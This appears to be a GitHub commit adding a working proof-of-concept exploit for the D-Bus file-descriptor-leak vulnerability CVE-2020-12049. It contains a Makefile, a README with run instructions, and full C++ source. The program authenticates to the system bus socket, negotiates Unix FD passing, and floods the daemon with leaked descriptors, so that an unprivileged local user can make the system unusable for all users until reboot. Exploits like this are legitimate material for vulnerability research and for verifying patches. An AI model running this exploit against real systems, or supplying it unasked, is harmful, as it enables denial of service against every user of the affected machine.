Skip to content

Commit c8db365

Browse files
PoC for D-Bus CVE-2020-12049
1 parent 49ef1ca commit c8db365

4 files changed

Lines changed: 168 additions & 0 deletions

File tree

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
fd_dos
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
fd_dos: fd_dos.cpp
2+
g++ -O2 -Wall -Wextra fd_dos.cpp -o fd_dos
3+
4+
clean:
5+
rm -f fd_dos
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# D-Bus: denial of service via file descriptor leak (CVE-2020-12049)
2+
3+
This proof of concept enables an unprivileged local attacker to
4+
make the system unusable for all users,
5+
by making the system D-Bus unresponsive.
6+
The vulnerability is a file descriptor leak in D-Bus.
7+
The original bug report is available at
8+
[gitlab.freedesktop.org](https://gitlab.freedesktop.org/dbus/dbus/-/issues/294).
9+
10+
To run the PoC:
11+
12+
```bash
13+
make
14+
./fd_dos /var/run/dbus/system_bus_socket
15+
```
16+
17+
Be aware that you may need to reboot your system after running the PoC.
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
#include <sys/types.h>
2+
#include <sys/socket.h>
3+
#include <sys/stat.h>
4+
#include <sys/un.h>
5+
#include <errno.h>
6+
#include <string.h>
7+
#include <stdio.h>
8+
#include <unistd.h>
9+
#include <fcntl.h>
10+
11+
ssize_t sendwithfds(const int s) {
12+
struct msghdr msg = {}; // Zero initialize.
13+
struct cmsghdr *cmsg;
14+
const size_t n_fds = 32;
15+
int myfds[n_fds]; // Array of file descriptors
16+
int *fdptr;
17+
char iobuf[] = "BEGIN\r\n";
18+
size_t i;
19+
for (i = 0; i < n_fds; i++) {
20+
myfds[i] = open("/tmp", O_TMPFILE | O_RDWR, S_IRUSR | S_IWUSR);
21+
}
22+
23+
struct iovec io = {};
24+
io.iov_base = iobuf;
25+
io.iov_len = sizeof(iobuf);
26+
27+
union {
28+
char buf[CMSG_SPACE(sizeof(myfds))];
29+
struct cmsghdr align;
30+
} u;
31+
32+
msg.msg_iov = &io;
33+
msg.msg_iovlen = 1;
34+
msg.msg_control = u.buf;
35+
msg.msg_controllen = sizeof(u);
36+
37+
cmsg = CMSG_FIRSTHDR(&msg);
38+
cmsg->cmsg_level = SOL_SOCKET;
39+
cmsg->cmsg_type = SCM_RIGHTS;
40+
cmsg->cmsg_len = CMSG_LEN(sizeof(myfds));
41+
fdptr = (int *) CMSG_DATA(cmsg);
42+
memcpy(&fdptr[0], &myfds[0], sizeof(myfds));
43+
44+
const ssize_t r = sendmsg(s, &msg, 0);
45+
if (r < 0) {
46+
const int err = errno;
47+
fprintf(stderr, "sendmsg failed: %s\n", strerror(err));
48+
}
49+
50+
for (i = 0; i < n_fds; i++) {
51+
close(myfds[i]);
52+
}
53+
return r;
54+
}
55+
56+
size_t write_string(char* buf, size_t pos, const char* str) {
57+
const size_t len = strlen(str);
58+
memcpy(&buf[pos], str, len);
59+
return pos + len;
60+
}
61+
62+
void sendbuf(const int fd, char* buf, size_t pos, size_t bufsize) {
63+
const ssize_t n = write(fd, buf, pos);
64+
printf("wrote %ld bytes\n", n);
65+
memset(&buf[0], 0, bufsize);
66+
const ssize_t r = read(fd, buf, bufsize);
67+
printf("%ld: %s\n", r, buf);
68+
printf("%x %x\n", buf[r-2], buf[r-1]);
69+
}
70+
71+
int run(const uid_t uid, const char* filename) {
72+
sockaddr_un address;
73+
memset(&address, 0, sizeof(address));
74+
address.sun_family = AF_UNIX;
75+
strcpy(address.sun_path, filename);
76+
77+
const int fd = socket(AF_UNIX, SOCK_STREAM, 0);
78+
if (fd < 0) {
79+
fprintf(stderr, "could not create socket\n");
80+
return 1;
81+
}
82+
83+
if (connect(fd, (sockaddr*)(&address), sizeof(address)) < 0) {
84+
int err = errno;
85+
fprintf(stderr, "could not connect to socket: %s\n", strerror(err));
86+
return 1;
87+
}
88+
89+
char buf[1024];
90+
size_t pos = 0;
91+
92+
buf[pos++] = '\0';
93+
94+
pos = write_string(buf, pos, "AUTH EXTERNAL ");
95+
96+
char uidstr[16];
97+
snprintf(uidstr, sizeof(uidstr), "%d", uid);
98+
size_t n = strlen(uidstr);
99+
for (size_t i = 0; i < n; i++) {
100+
char tmp[4];
101+
snprintf(tmp, sizeof(tmp), "%.2x", (int)uidstr[i]);
102+
pos = write_string(buf, pos, tmp);
103+
}
104+
pos = write_string(buf, pos, "\r\n");
105+
106+
sendbuf(fd, buf, pos, sizeof(buf));
107+
108+
pos = write_string(buf, 0, "NEGOTIATE_UNIX_FD\r\n");
109+
sendbuf(fd, buf, pos, sizeof(buf));
110+
111+
pos = write_string(buf, 0, "BEGIN\r\n");
112+
if (write(fd, buf, pos) < 0) {
113+
fprintf(stderr, "send failed");
114+
}
115+
116+
sendwithfds(fd);
117+
118+
close(fd);
119+
120+
return 0;
121+
}
122+
123+
int main(int argc, char* argv[]) {
124+
const char* progname = argc > 0 ? argv[0] : "a.out";
125+
if (argc < 2) {
126+
fprintf(
127+
stderr,
128+
"usage: %s <unix socket path>\n"
129+
"example: %s /var/run/dbus/system_bus_socket\n",
130+
progname,
131+
progname
132+
);
133+
return 1;
134+
}
135+
136+
uid_t uid = getuid();
137+
const char* filename = argv[1];
138+
139+
for (size_t i = 0; i < 100; i++) {
140+
if (run(uid, filename) != 0) {
141+
return 1;
142+
}
143+
}
144+
return 0;
145+
}

0 commit comments

Comments
 (0)